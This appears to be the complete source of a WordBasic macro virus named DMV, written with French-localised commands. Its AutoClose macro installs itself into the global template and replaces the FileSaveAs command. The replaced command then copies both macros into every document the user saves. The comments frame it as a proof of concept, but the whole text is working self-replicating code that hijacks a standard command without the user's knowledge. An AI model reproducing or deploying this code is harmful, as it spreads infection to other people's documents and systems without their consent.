Macro Autoclose
Sub MAIN
'just to prove another point
On Error Goto Abort
iMacroCount = CompteMacros(0, 0)
'see we're already installed
For i = 1 To iMacroCount
	If NomMacro$(i, 0, 0) = "DMV" Then
		binstalled = - 1
	End If
	If NomMacro$(i, 0, 0) = "FileSaveAs" Then
		bTooMuchTrouble = - 1
	End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
	'add FileSaveAs and copies of FileSaveAs and AutoClose
	'DMV is just for more fun
	sMe$ = NomFichier$()
	sMacro$ = sMe$ + ":DMV"
	MacroCopie sMacro$, "Global:FileSaveAs"
	sMacro$ = sMe$ + ":AutoClose"
	MacroCopie sMacro$, "Global:DMV"
	MsgBox("               DMV               ", 1)
End If
Abort:
End Sub
------------------------
Macro DMV
Sub MAIN
'just to prove another point
'this becomes the FileSaveAs for the original template
Dim dlg As FichierEnregistrerSous
On Error Goto bail
GetCurValues dlg
Dialog dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = NomFichier$()
sTMacro$ = sMe$ + ":AutoClose"
MacroCopie "Global:DMV", STMacro$
sTMacro$ = sMe$ + ":DMV"
MacroCopie "Global:FileSaveAs", sTMacro$
FichierEnregistrerSous dlg
Goto Done

Bail:
If Err <> 102 Then
	FichierEnregistrerSous Dlg
End If
Done:
End Sub
--------------------------